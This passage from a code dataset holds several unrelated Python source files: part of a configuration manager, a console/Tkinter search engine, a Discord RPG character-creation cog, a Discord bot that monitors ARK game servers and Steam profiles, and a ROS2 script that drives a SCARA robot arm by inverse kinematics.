self._overlay_value_sources_recurse(val, sub_destination,\n prefix=('%s.%s' % (prefix, key)))\n elif isinstance(sub_destination, Option):\n sub_destination.set_value(val)\n elif isinstance(sub_destination, Aggregation):\n # there is nothing to do for Aggregations at this time\n # it appears here anyway as a marker for future enhancements\n pass\n\n #--------------------------------------------------------------------------\n def _walk_config_copy_values(self, source, destination, mapping_class):\n for key, val in source.items():\n value_type = type(val)\n if isinstance(val, Option) or isinstance(val, Aggregation):\n destination[key] = val.value\n elif value_type == Namespace:\n destination[key] = d = mapping_class()\n self._walk_config_copy_values(val, d, mapping_class)\n\n #--------------------------------------------------------------------------\n def _aggregate(self, source, base_namespace, local_namespace):\n aggregates_found = False\n for key, val in source.items():\n if isinstance(val, Namespace):\n new_aggregates_found = self._aggregate(val,\n base_namespace,\n local_namespace[key])\n aggregates_found = new_aggregates_found or aggregates_found\n elif isinstance(val, Aggregation):\n val.aggregate(base_namespace, local_namespace, self.args)\n aggregates_found = True\n # skip Options, we're only dealing with Aggregations\n return aggregates_found\n\n #--------------------------------------------------------------------------\n @staticmethod\n def _option_sort(x_tuple):\n key, val = x_tuple\n if isinstance(val, Namespace):\n return 'zzzzzzzzzzz%s' % key\n else:\n return key\n\n #--------------------------------------------------------------------------\n @staticmethod\n def _block_password(qkey, key, value, block_password=True):\n if block_password and 'password' in key.lower():\n value = '*********'\n return qkey, key, value\n\n #--------------------------------------------------------------------------\n def _walk_config(self, source=None, prefix='', blocked_keys=(),\n block_password=False):\n if source == None:\n source = self.option_definitions\n options_list = source.items()\n options_list.sort(key=ConfigurationManager._option_sort)\n for key, val in options_list:\n qualified_key = '%s%s' % (prefix, key)\n if qualified_key in blocked_keys:\n continue\n if isinstance(val, Option):\n yield self._block_password(qualified_key, key, val,\n block_password)\n if isinstance(val, Aggregation):\n yield qualified_key, key, val\n elif isinstance(val, Namespace):\n if qualified_key == 'admin':\n continue\n yield qualified_key, key, val\n new_prefix = '%s%s.' % (prefix, key)\n for xqkey, xkey, xval in self._walk_config(val,\n new_prefix,\n blocked_keys,\n block_password):\n yield xqkey, xkey, xval\n\n #--------------------------------------------------------------------------\n def _get_option(self, name):\n source = self.option_definitions\n try:\n for sub_name in name.split('.'):\n candidate = source[sub_name]\n if isinstance(candidate, Option):\n return candidate\n else:\n source = candidate\n except KeyError:\n pass # we need to raise the exception below in either case\n # of a key error or execution falling through the loop\n raise exc.NotAnOptionError('%s is not a known option name' % name)\n\n #--------------------------------------------------------------------------\n def _get_options(self, source=None, options=None, prefix=''):\n if not source:\n source = self.option_definitions\n if options is None:\n options = []\n for key, val in source.items():\n if isinstance(val, Namespace):\n new_prefix = '%s%s.' % (prefix, key)\n self._get_options(val, options, new_prefix)\n else:\n options.append((\"%s%s\" % (prefix, key), val))\n return options\n","repo_name":"peterbe/configman","sub_path":"configman/config_manager.py","file_name":"config_manager.py","file_ext":"py","file_size_in_byte":29044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"17248118654","text":"import pickle\r\nimport re\r\nfrom nltk.stem.snowball import SnowballStemmer\r\nimport time\r\nimport tkinter as tk\r\n\r\nclass Search:\r\n def __init__(self):\r\n # initializes the indexes\r\n self.inverted_index = {}\r\n self.doc_id = {}\r\n\r\n def load_index(self):\r\n #loads in inverted index\r\n with open(\"merged_index_final.pickle\", \"rb\") as myFile:\r\n self.inverted_index = pickle.load(myFile)\r\n\r\n def load_doc_id(self):\r\n # loads in document id mapping\r\n with open(\"doc_id.pickle\", \"rb\") as myFile:\r\n self.doc_id = pickle.load(myFile)\r\n\r\n def stem_tokens(self, token_list):\r\n # gets the tokenize list and uses stemming on all words\r\n stemmer = SnowballStemmer(\"english\")\r\n stem_words = []\r\n for token in token_list:\r\n stem_words.append(stemmer.stem(token))\r\n return stem_words\r\n\r\n def process_query(self, user_input):\r\n # splits and stems the tokens\r\n user_input = re.sub(r'[^a-z0-9\\']+', ' ', user_input)\r\n user_input = re.sub(r'([^a-z0-9]\\'|\\'[^a-z0-9])', ' ', user_input)\r\n token_list = user_input.split()\r\n token_list = self.stem_tokens(token_list)\r\n return token_list\r\n\r\n def retrieve_doc_id(self, query_token):\r\n # given a token, retrieve doc id\r\n if query_token in self.inverted_index.keys():\r\n return self.inverted_index[query_token]\r\n else:\r\n return {}\r\n\r\n def merge(self, dic1, dic2):\r\n # given 2 dics return intersection\r\n merge = {}\r\n for key in dic1.keys():\r\n if key in dic2.keys():\r\n merge[key] = dic1[key] + dic2[key]\r\n return merge\r\n\r\n def get_documents(self, query_list):\r\n merge_dic = {}\r\n # find a page that all tokens have in common\r\n for i in range(len(query_list)):\r\n # iterates through each token\r\n if i == 0:\r\n merge_dic = self.retrieve_doc_id(query_list[i])\r\n else:\r\n # merges similar docs between current similar docs and docs in current token iteration\r\n doc_id_dic = self.retrieve_doc_id(query_list[i])\r\n merge_dic = self.merge(merge_dic, doc_id_dic)\r\n return sorted(merge_dic.items(), key=lambda x: x[1], reverse=True)\r\n\r\n def print_result(self, doc_list):\r\n # prints out the top 5 results\r\n try:\r\n print(\"Top 5 Results:\")\r\n for i in range(5):\r\n print(self.doc_id[doc_list[i][0]])\r\n except:\r\n print(\"Could not find 5 results.\")\r\n print()\r\n\r\n def run(self):\r\n # figures out which search tool to use\r\n self.load_doc_id()\r\n self.load_index()\r\n which_one = input('0 - use console\\n'\r\n '1 - use local GUI\\n'\r\n 'Pick one of these numbers to proceed:')\r\n print()\r\n while which_one not in {'0', '1'}:\r\n which_one = input('0 - use console\\n'\r\n '1 - use local GUI\\n'\r\n 'Please enter one of these numbers:')\r\n print()\r\n if which_one == '0':\r\n self.run_text()\r\n elif which_one == '1':\r\n self.run_tkinter()\r\n else:\r\n assert which_one in {'0', '1'}, \"This should not have happened.\"\r\n\r\n @staticmethod\r\n def obtain_proper_input():\r\n # checks whether person does or does not want to continue querying\r\n possible = input('Continue querying from here? (Y or y to continue, N or n to quit):')\r\n print()\r\n while possible not in {'Y', 'y', 'N', 'n'}:\r\n possible = input('Please enter one of the following: Y, y, N, n:')\r\n print()\r\n return possible\r\n\r\n def run_text(self):\r\n # uses the console to search the index\r\n time_list = []\r\n while self.obtain_proper_input() in {'Y', 'y'}:\r\n queries = self.process_query(input(\"Query: \").lower())\r\n print()\r\n start_time = time.time()\r\n self.print_result(self.get_documents(queries))\r\n finished_time = time.time() - start_time\r\n time_list.append(finished_time)\r\n if len(time_list) > 0:\r\n print(\"My program took\", sum(time_list) / len(time_list), \"s to run\")\r\n\r\n def run_tkinter(self):\r\n # uses tkinter to search the index\r\n root = tk.Tk()\r\n window = tk.Frame(root)\r\n window.pack(expand=1)\r\n\r\n time_list = []\r\n output_text = tk.StringVar(window, value=\"\")\r\n\r\n def change_output():\r\n query_as_string = query_entry_box.get()\r\n start_time = time.time()\r\n doc_list = self.get_documents(self.process_query(query_as_string))\r\n doc_string = ''\r\n try:\r\n for i in range(5):\r\n doc_string += f\"{self.doc_id[doc_list[i][0]]}\\n\"\r\n except:\r\n doc_string += \"Could not find 5 results.\"\r\n output_text.set(doc_string)\r\n window.update()\r\n finished_time = time.time() - start_time\r\n time_list.append(finished_time)\r\n\r\n tk.Label(window).grid(row=0, column=0, rowspan=6)\r\n tk.Label(window,text=\"Local GUI\").grid(row=0, column=1, columnspan=4)\r\n tk.Label(window).grid(row=0, column=5, rowspan=6)\r\n tk.Label(window,text=\"Search Results Here\").grid(row=2, column=1, columnspan=4)\r\n tk.Label(window, textvariable=output_text).grid(row=3, column=1, rowspan=4)\r\n\r\n tk.Label(window, text=\"Query Entry Box: \").grid(row=1, column=1)\r\n query_entry_box = tk.Entry(window, width=20)\r\n query_entry_box.grid(row=1, column=2, columnspan=2)\r\n\r\n set_query_button = tk.Button(window, text=\"Enter Query\", width=8, command=change_output)\r\n set_query_button.grid(row=1, column=4)\r\n\r\n root.mainloop()\r\n if len(time_list) > 0:\r\n print(\"My program took\", sum(time_list) / len(time_list), \"s to run\")\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n a = Search()\r\n a.run()\r\n","repo_name":"Ramanuj-Sarkar/search-engine-CS121-W23","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":6135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70517611548","text":"from discord import Bot, Cog, Embed, slash_command\nfrom characters.alchemist import Alchemist\nfrom characters.assassin import Assassin\nfrom characters.berserker import Berserker\nfrom characters.bountyHunter import BountyHunter\nfrom characters.dancer import Dancer\nfrom characters.gadgeteer import Gadgeteer\nfrom characters.mercenary import Mercenary\nfrom characters.paladin import Paladin\nfrom characters.shaman import Shaman\nfrom characters.sorcerer import Sorcerer\nfrom characters.playerCharacter import PlayerCharacter\nfrom views.characterSheetView import CharacterSheetView, ConfirmStats\nfrom views.classViews import ClassSelectionView\nfrom views.firstLevelSkillView import FirstLevelSkillView\nfrom jsons.jsonManager import loadCharacterJson, saveCharacterJson\n\nclass CreateCharacter(Cog):\n def __init__(self,bot: Bot):\n self.bot = bot\n \n @slash_command(name=\"create_character\",description=\"Create a new character to use later\",guild_ids=[903338023960313876])\n async def createCharacter(self,ctx):\n await ctx.respond(\"You will make your character in the DMs\")\n dm = ctx.author.dm_channel\n if dm == None:\n await ctx.author.create_dm()\n dm = ctx.author.dm_channel\n attributeScores = await self.__getCharacterAttributes(dm,ctx.author.name)\n playerClass = await self.__selectClass(dm)\n pc = await PlayerCharacterFactory.createCharacter(attributeScores[\"Name\"],attributeScores,playerClass)\n skills = await self.__selectSkills(dm,pc)\n await pc.setSkills(skills)\n if await self.__confirmChoice(dm,pc) == True:\n await dm.send(f\"Your character has been saved!!\")\n json = loadCharacterJson()\n if json.get(str(ctx.author.id),None) == None:\n json[str(ctx.author.id)] = dict()\n json[str(ctx.author.id)][await pc.getName()] = await pc.generateJson()\n saveCharacterJson(json)\n \n else:\n await CreateCharacter(ctx)\n\n async def __getCharacterAttributes(self,dm,author_name):\n #Checks\n def nameCheck(m):\n return m.author.name == author_name\n def checkAttributeScore(m):\n try:\n att = int(m.content)\n return att <= 20 and att > 8\n except Exception:\n return False\n \n #Get Name\n await dm.send(\"Enter your character's name: \")\n name = (await self.bot.wait_for('message',check=nameCheck)).content\n \n #Get Attributes\n attDict = {\"Strength\": 0, \"Dexterity\": 0, \"Agility\": 0, \"Constitution\": 0, \"Spirit\": 0, \"Intellect\": 0, \"Wisdom\": 0, \"Charisma\": 0, \"Luck\": 0}\n for att in attDict.keys():\n await dm.send(f\"What is {name}'s {att}?\")\n attScore = int((await self.bot.wait_for('message',check=checkAttributeScore)).content)\n attDict[att] = attScore\n \n attDict[\"Name\"] = name\n return attDict\n \n async def __selectClass(self,dm):\n csv = ClassSelectionView(self.bot)\n def hasChosenClass(i):\n return True\n await dm.send(view=csv)\n await self.bot.wait_for('interaction',check=hasChosenClass)\n return await csv.getClassSelection()\n \n async def __selectSkills(self,dm,pc: PlayerCharacter):\n flsv = FirstLevelSkillView(self.bot,await pc.getSkillPoints())\n\n def hasChosenSkills(i):\n return flsv.buttonPressed()\n\n await dm.send(view=flsv,embed=await flsv.getEmbeddedMessage())\n await self.bot.wait_for('interaction',check=hasChosenSkills)\n return await flsv.getSkillSelections()\n\n async def __confirmChoice(self,dm,pc: PlayerCharacter):\n csv = CharacterSheetView(pc)\n cs = ConfirmStats()\n \n def confirmButtonPressed(i):\n return True\n \n await dm.send(view=cs,embed=await csv.createEmbed())\n await self.bot.wait_for('interaction',check=confirmButtonPressed)\n\n return await cs.getResult()\n\nclass PlayerCharacterFactory:\n async def createCharacter(name: str, att: dict, className: str):\n switch = {\n \"Mercenary\": Mercenary,\n \"Alchemist\": Alchemist,\n \"Berserker\": Berserker,\n \"Paladin\": Paladin,\n \"Sorcerer\": Sorcerer,\n \"Shaman\": Shaman,\n \"Dancer\": Dancer,\n \"Bounty Hunter\": BountyHunter,\n \"Assassin\": Assassin,\n \"Gadgeteer\": Gadgeteer\n }\n pc = switch[className](name,att[\"Strength\"],att[\"Dexterity\"],att[\"Agility\"],att[\"Constitution\"],att[\"Spirit\"],att[\"Intellect\"],att[\"Wisdom\"],att[\"Charisma\"],att[\"Luck\"])\n await pc.setHP()\n await pc.setMP()\n await pc.setLP()\n return pc\n\ndef setup(bot: Bot):\n bot.add_cog(CreateCharacter(bot))\n","repo_name":"rhorton5/DiscordCustomRPGBot","sub_path":"cogs/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":4862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"33901026511","text":"import discord\r\nimport asyncio\r\nimport a2s\r\nimport requests\r\nimport re\r\nfrom steamid import SteamID\r\nfrom datetime import datetime\r\n\r\n\r\n\r\n#[Coded with <3 By Chicken#1366]\r\n#\r\n#Free For Reuse - Must Leave This In\r\n#\r\n#Remember to Import the Above Dependencies! \r\n#\r\n# Enjoy! \r\n\r\n#Copyright (c) 2022-2023 Chicken#1366.\r\n\r\n#Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\r\n#The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\r\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n\r\n\r\n\r\nTOKEN = 'Your Bot Token Here' #Add your Bot Token here\r\n\r\nOWNER_ID = 263004078911520779 #Don't Touch This\r\n\r\nSTEAM_API_KEY = 'Your Steam API Key Here' # Replace with your Steam API key\r\n\r\nIP_ADDRESSES = [\r\n ('00.00.00.000', 00000), #Server IP #1 ('ip', port)\r\n ('00.00.00.000', 00000), #Server IP #2 ('ip', port)\r\n #Copy and paste above to add more Servers. \r\n]\r\n\r\nGUILD_ID = 0000000000000000000 # Replace with the ID of the Discord Server to send join messages in. \r\nCHANNEL_ID = 0000000000000000000 # Replace with the ID of the channel to send the join messages in. \r\n\r\nservers = IP_ADDRESSES\r\nintents = discord.Intents.all()\r\nintents.members = True\r\n\r\nclient = discord.Client(intents=intents)\r\n\r\nasync def get_steam_id_from_custom_url(custom_url):\r\n try:\r\n response = requests.get(f'https://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key={STEAM_API_KEY}&vanityurl={custom_url}')\r\n response_json = response.json()\r\n if response_json['response']['success'] == 1:\r\n return response_json['response']['steamid']\r\n except:\r\n return None\r\n\r\nasync def on_player_connect(server_ip):\r\n try:\r\n info = a2s.info(address=server_ip)\r\n player_count = info.player_count\r\n map_name = info.map_name\r\n\r\n # Check if player count has increased since last check\r\n if server_ip in client.last_player_counts and player_count > client.last_player_counts[server_ip]:\r\n # Get player name\r\n players = a2s.players(address=server_ip)\r\n player_name = players[-1].name if len(players) > 0 else \"Unknown\"\r\n\r\n # Read existing player data from file into dictionary\r\n filename = f\"{map_name}_{server_ip[0]}_{server_ip[1]}.txt\"\r\n with open(filename, \"a+\") as f:\r\n f.seek(0)\r\n player_data = {}\r\n for line in f:\r\n name, count = line.strip().split(\",\")\r\n player_data[name] = int(count)\r\n\r\n # Check if player has already joined\r\n if player_name in player_data:\r\n # Increment join count for existing player\r\n player_data[player_name] += 1\r\n else:\r\n # If player has not joined before, add them to the player data with a join count of 1\r\n player_data[player_name] = 1\r\n\r\n # Write updated player data back to file\r\n f.seek(0)\r\n f.truncate()\r\n for name, count in player_data.items():\r\n f.write(f\"{name},{count}\\n\")\r\n\r\n # Get guild and channel objects\r\n guild = client.get_guild(GUILD_ID)\r\n channel = guild.get_channel(CHANNEL_ID)\r\n\r\n # Send message to channel\r\n await channel.send(f\"{player_name} has connected to {map_name} on {server_ip[0]}:{server_ip[1]} (Join Count: {player_data[player_name]})!\")\r\n\r\n # Update last player count\r\n client.last_player_counts[server_ip] = player_count\r\n except:\r\n pass\r\n\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(f'{client.user} has connected to Discord!')\r\n \r\n activity = discord.Activity(name='Monitoring Ark Servers', type=discord.ActivityType.playing)\r\n await client.change_presence(activity=activity)\r\n\r\n # Initialize last player counts dictionary\r\n client.last_player_counts = {}\r\n for server_ip in servers:\r\n client.last_player_counts[server_ip] = 0\r\n\r\n # Start checking for new players every minute\r\n while True:\r\n for server_ip in servers:\r\n await on_player_connect(server_ip)\r\n await asyncio.sleep(60)\r\n\r\n@client.event\r\nasync def on_message(message):\r\n if message.author == client.user:\r\n return\r\n\r\n if message.content.startswith('!check'):\r\n message_parts = message.content.split()\r\n if len(message_parts) > 1:\r\n server_ip = message_parts[1]\r\n server_ip = server_ip.split(\":\")\r\n server_ip = (server_ip[0], int(server_ip[1]))\r\n ip_addresses = [server_ip]\r\n else:\r\n ip_addresses = IP_ADDRESSES\r\n\r\n for server_ip in ip_addresses:\r\n try:\r\n players = a2s.players(address=server_ip)\r\n player_steam_ids = []\r\n for player in players:\r\n player_name = player.name\r\n steam_id = await get_steam_id_from_custom_url(player_name)\r\n if steam_id:\r\n player_steam_ids.append((player_name, steam_id))\r\n\r\n embed = discord.Embed(title=f\"Potential Steam IDs for Connected Players on {server_ip[0]}:{server_ip[1]}\", color=0x9e0045)\r\n if player_steam_ids:\r\n for name, steam_id in player_steam_ids:\r\n embed.add_field(name=name, value=steam_id, inline=False)\r\n else:\r\n embed.add_field(name=\"No Steam IDs Found\", value=\"Could not find any valid Steam IDs for connected players.\", inline=False)\r\n\r\n disclaimer = \"Please note that the Steam IDs provided may be inaccurate due to the possibility of multiple players with similar names, name changes, or other factors.\"\r\n embed.set_footer(text=disclaimer)\r\n\r\n await message.channel.send(embed=embed)\r\n except Exception as e:\r\n embed = discord.Embed(title='Error Occurred', description=f'An error occurred while trying to retrieve player information: {e}', color=0xff0000)\r\n await message.channel.send(embed=embed)\r\n\r\n\r\n if message.content.startswith('!id'):\r\n steam_id = message.content.split()[1]\r\n try:\r\n # Get user's profile summary\r\n response = requests.get(f'https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key={STEAM_API_KEY}&steamids={steam_id}&format=json')\r\n response_json = response.json()\r\n player = response_json['response']['players'][0]\r\n\r\n # Parse player data\r\n name = player.get('personaname', 'Unknown')\r\n profile_url = player.get('profileurl', '')\r\n avatar_url = player.get('avatarfull', '')\r\n last_online = player.get('lastlogoff', 0)\r\n time_since_last_online = datetime.utcnow().timestamp() - last_online\r\n status = 'Online' if player.get('personastate', 0) == 1 else 'Offline'\r\n game_id = player.get('gameid', 0)\r\n\r\n # Get last played game if available\r\n last_played_game = ''\r\n if game_id != 0:\r\n response = requests.get(f'https://api.steampowered.com/ISteamUserStats/GetUserStatsForGame/v0002/?appid={game_id}&key={STEAM_API_KEY}&steamid={steam_id}&format=json')\r\n response_json = response.json()\r\n achievements = response_json.get('playerstats', {}).get('achievements', [])\r\n last_played_game = response_json.get('playerstats', {}).get('gameName', '')\r\n\r\n # Build embed message\r\n embed = discord.Embed(title=f'Steam Profile for {name}', color=0x9e0045)\r\n embed.add_field(name='Name', value=name, inline=False)\r\n embed.add_field(name='Profile URL', value=profile_url, inline=False)\r\n embed.add_field(name='Status', value=status, inline=False)\r\n embed.add_field(name='Last Online', value=f'{time_since_last_online // 3600} hours ago', inline=False)\r\n embed.add_field(name='Last Played Game', value=last_played_game, inline=False)\r\n embed.set_thumbnail(url=avatar_url)\r\n\r\n # Send message to channel\r\n await message.channel.send(embed=embed)\r\n except Exception as e:\r\n embed = discord.Embed(title='Error Occurred', description=f'An error occurred while trying to retrieve the Steam profile information for {steam_id}: {e}', color=0xff0000)\r\n await message.channel.send(embed=embed)\r\n\r\n if message.content.startswith('!recent'):\r\n steam_id = message.content.split()[1]\r\n try:\r\n # Get user's recent game history\r\n response = requests.get(f'https://api.steampowered.com/IPlayerService/GetRecentlyPlayedGames/v1/?key={STEAM_API_KEY}&steamid={steam_id}&format=json')\r\n response_json = response.json()\r\n\r\n # Filter the history to only include ARK: Survival Evolved game connections\r\n ark_history = [game for game in response_json['response']['games'] if game['name'] == 'ARK: Survival Evolved']\r\n\r\n # Send message to channel\r\n if len(ark_history) > 0:\r\n embed = discord.Embed(title=f'Recent ARK Server Connections for Steam ID {steam_id}', color=0x9e0045)\r\n for game in ark_history:\r\n server_info = game.get('extraInfo', {})\r\n server_name = server_info.get('serverName', '')\r\n if ':' in server_name:\r\n server_address = server_name.split(':')[0]\r\n server_port = server_name.split(':')[1]\r\n server_info = a2s.info(address=(server_address, int(server_port)))\r\n player_count = server_info.player_count\r\n map_name = server_info.map_name\r\n embed.add_field(name=f'{server_address}:{server_port} ({map_name})', value=f'{player_count} players', inline=False)\r\n else:\r\n embed.add_field(name=f'Unknown server', value='No server information available', inline=False)\r\n embed.set_footer(text='Coded By Chicken#1366')\r\n await message.channel.send(embed=embed)\r\n else:\r\n await message.channel.send(f\"No recent ARK server connections found for Steam ID {steam_id}.\")\r\n except Exception as e:\r\n embed = discord.Embed(title='Error Occurred', description=f'An error occurred while trying to retrieve the recent ARK server connections for Steam ID {steam_id}: {e}', color=0xff0000)\r\n await message.channel.send(embed=embed)\r\n\r\n\r\n\r\n if message.content.startswith('!status'):\r\n for server_ip in servers:\r\n try:\r\n info = a2s.info(address=server_ip)\r\n players = a2s.players(address=server_ip)\r\n player_count = info.player_count\r\n game_name = info.server_name\r\n map = info.map_name\r\n game = info.game\r\n embed = discord.Embed(title=f'Player Count for Server {server_ip[0]}:{server_ip[1]}', color=0x9e0045)\r\n embed.add_field(name='Game', value=game, inline=False)\r\n embed.add_field(name='Server Name', value=game_name, inline=False)\r\n embed.add_field(name='Map Name', value=map, inline=False)\r\n embed.add_field(name='Player Count', value=player_count, inline=False)\r\n embed.set_footer(text='Coded By Chicken#1366')\r\n \r\n for player in players:\r\n player_duration = player.duration\r\n hours, remainder = divmod(player_duration, 3600)\r\n minutes, seconds = divmod(remainder, 60)\r\n formatted_duration = f\"{int(hours)} hours {int(minutes)} minutes {int(seconds)} seconds\"\r\n embed.add_field(name=player.name, value=formatted_duration, inline=True)\r\n\r\n await message.channel.send(embed=embed)\r\n except Exception as e:\r\n embed = discord.Embed(title='Error Occurred', description=f'An error occurred while trying to retrieve the player count for {server_ip}: {e}', color=0xff0000)\r\n await message.channel.send(embed=embed)\r\n\r\n if message.content.startswith('!players'):\r\n try:\r\n # Get total player count\r\n total_players = sum([a2s.info(address=s).player_count for s in servers])\r\n \r\n # Send message to channel\r\n await message.channel.send(f\"There are currently {total_players} players across all servers.\")\r\n except:\r\n embed = discord.Embed(title='Error Occurred', description=f'An error occurred while trying to retrieve the total player count.', color=0xff0000)\r\n await message.channel.send(embed=embed)\r\n \r\n\r\n if message.content.startswith('!server'):\r\n msg = await message.channel.send('Getting player count...')\r\n server_ip = message.content.split()[1]\r\n server_ip = server_ip.split(\":\")\r\n server_ip = (server_ip[0], int(server_ip[1]))\r\n\r\n try:\r\n info = a2s.info(address=server_ip)\r\n players = a2s.players(address=server_ip)\r\n player_count = info.player_count\r\n game_name = info.server_name\r\n map = info.map_name\r\n game = info.game\r\n embed = discord.Embed(title=f'Player Count for Server {server_ip[0]}:{server_ip[1]}', color=0x9e0045)\r\n embed.add_field(name='Game', value=game, inline=False)\r\n embed.add_field(name='Server Name', value=game_name, inline=False)\r\n embed.add_field(name='Map Name', value=map, inline=False)\r\n embed.add_field(name='Player Count', value=player_count, inline=False)\r\n embed.set_footer(text='Coded By Chicken#1366')\r\n\r\n if player_count == 0:\r\n embed.add_field(name='Players', value='No players currently on the server', inline=False)\r\n else:\r\n for player in players:\r\n player_duration = player.duration\r\n hours, remainder = divmod(player_duration, 3600)\r\n minutes, seconds = divmod(remainder, 60)\r\n formatted_duration = f\"{int(hours)} hours {int(minutes)} minutes {int(seconds)} seconds\"\r\n embed.add_field(name=player.name, value=formatted_duration, inline=True)\r\n \r\n await msg.edit(content=None, embed=embed)\r\n \r\n except Exception as e:\r\n embed = discord.Embed(title='Error Occurred', description=f'An error occurred while trying to retrieve the player count: {e}', color=0xff0000)\r\n await msg.edit(content=None, embed=embed)\r\n \r\nclient.run(TOKEN)\r\n","repo_name":"chicken647/Ark-Server-Monitoring-Bot","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":15779,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"7254701401","text":"#!/usr/bin/python3\n\nimport time, rclpy, sys, select, math\nimport numpy as np\nimport spatialmath as sm\nimport spatialgeometry as sg\nimport tempfile as tf\n\nfrom rclpy.node import Node\nfrom rclpy import init, spin\nfrom roboticstoolbox.robot.ERobot import ERobot\nfrom roboticstoolbox.robot.Link import Link\nfrom roboticstoolbox.robot.ETS import ETS\nfrom roboticstoolbox.robot.ET import ET\nfrom spatialmath import SE3\nfrom roboticstoolbox.tools.data import rtb_path_to_datafile\nfrom distutils.dir_util import copy_tree\nfrom os import mkdir, path\nfrom std_msgs.msg import Float64MultiArray, MultiArrayDimension\nfrom sensor_msgs.msg import JointState\n\nimport roboticstoolbox as rtb\n\n\nfrom roboticstoolbox.robot.ERobot import ERobot\n\nfrom math import pi\nimport os\nimport threading as th\n\nclass RobotDefine(ERobot):\n\tdef __init__(self):\n\n\t\tlink, name, urdf_string, urdf_filepath = self.URDF_read(\n\t\t\"dual_scara_arm.xacro\", \n\t\ttld=os.path.expanduser(\"~/petricor_sim/src/simple_arm/urdf/\")\n\t\t)\t\t\n\n\t\tsuper().__init__(\n\t\t\tlink,\n\t\t\tname = \"Petros\",\n\t\t\tmanufacturer = \"Custom\",\n\t\t\turdf_string=urdf_string,\n\t\t\turdf_filepath=urdf_filepath\n\t\t\t)\n\t\t\n\n\t\tself.qdlim = np.array(\n\t\t\t[\n\t\t\t\t4.0,\n\t\t\t\t4.0,\n\t\t\t\t4.0,\n\t\t\t\t4.0,\n\t\t\t\t2.0,\n\t\t\t\t2.0,\n\t\t\t\t2.0,\n\t\t\t\t2.0\n\t\t\t]\n\t\t)\n\t\t# Place holder values for qdlim\n\t\t# 4.0 for velocity & 2.0 for acceleration?\n\n\t\t# self.qr = np.array([60, 45, -60, -45, 60])\n\t\t# # trail values for the \"Ready\" Postion\n\t\t# self.qz = np.zeros(5)\n\n\t\t# self.addconfiguration(\"qr\", self.qr)\n\t\t# self.addconfiguration(\"qz\", self.qz)\n\n\tdef _get_angles(self, x, y, z):\n\t\tself.Tep = sm.SE3.Trans(x, y, z) * sm.SE3.OA([0, 1, 0], [0, 0, -1]) # desired xy pos\n\t\tself.sol = self.ik_lm_chan(self.Tep, ilimit=30, tol=1e-05, we=[1, 1, 0, 0, 0, 0]) # solve IK\n\n\t\treturn self.sol\n\nclass Petros(Node):\n\tstatic_member_var = 10\n\n\tdef __init__(self):\n\t\tsuper().__init__('Petros')\n\n\t\t# ---------- Publishers -----------\n\t\tself.joint_position_control_publisher = self.create_publisher(Float64MultiArray, '/position_controllers/commands', 10)\n\n\n\t\t# goal_pose setpoint publisher\n\t\tpub_period = 1.0/1000.0\n\t\tself.cmd_pub = self.create_timer(pub_period, self.cmd_pub_cb)\n\n\t\t# Spin in a separate thread\n\t\tself.spin_thread = th.Thread(target=rclpy.spin, args=(self, ), daemon=True)\n\t\tself.spin_thread.start()\n\n\n\t\t# ---------- Subscribers ----------\n\t\t# self.joint_state_subscriber = self.create_subscription(JointState, 'sensor_msgs/msg/JointState', 10)\n\n\t\t# ---------- Initialization --------\n\t\tself.joint_angle = Float64MultiArray()\n\t\tself.joint_angle.data = [0.0, 0.25] # Initialize with valid elbow, shoulder positions\n\t\tself.simple_arm = RobotDefine()\n\n\tdef _pos_query(self):\n\n\t\tself.loop_rate = self.create_rate(10, self.get_clock())\n\t\tself.get_logger().info(\"X, Y, Z of EE\")\n\n\t\twhile rclpy.ok():\n\t\t\tuser_input = input(\"Enter comma deliminated float: \")\n\t\t\tstripped = [float(val) for val in user_input.split(',')]\n\n\t\t\tx = stripped[0]\n\t\t\ty = stripped[1]\n\t\t\tz = stripped[2]\n\n\t\t\tsol = self.simple_arm._get_angles(x, y, z)\n\t\t\tself.angle_calc = sol[0]\n\t\t\tself._actuate()\n\n\tdef _actuate(self):\n\n\t\t# self.joint_angle.data = [self.angle_calc[1], self.angle_calc[0], self.angle_calc[2]]\n\t\t# Directly send elbow, shoulder (ros2_control does alphabetical order)\n\t\tself.joint_angle.data = [self.angle_calc[2], self.angle_calc[1]]\n\n\t\t#self.joint_position_control_publisher.publish(self.joint_angle)\t\n\tdef cmd_pub_cb(self):\n\t\t# Elbow: 0.1 -> 1.75\n\t\t# Shoulder: -1 -> 1\n\t\t# Z: 0.01 -> 0.27\n\t\tself.joint_angle.layout.dim = [MultiArrayDimension()]\n\t\tself.joint_angle.layout.dim[0].size = 2 # only sending revolute commands for now\n\t\tself.joint_angle.layout.dim[0].stride = 1\n\t\tself.joint_angle.layout.dim[0].label = \"joint_cmds\"\n\t\tself.joint_position_control_publisher.publish(self.joint_angle)\t\n\n\t\t\ndef main(args=None):\n\tinit(args=args)\n\tPetros_node = Petros()\n\tPetros_node._pos_query()\n\nif 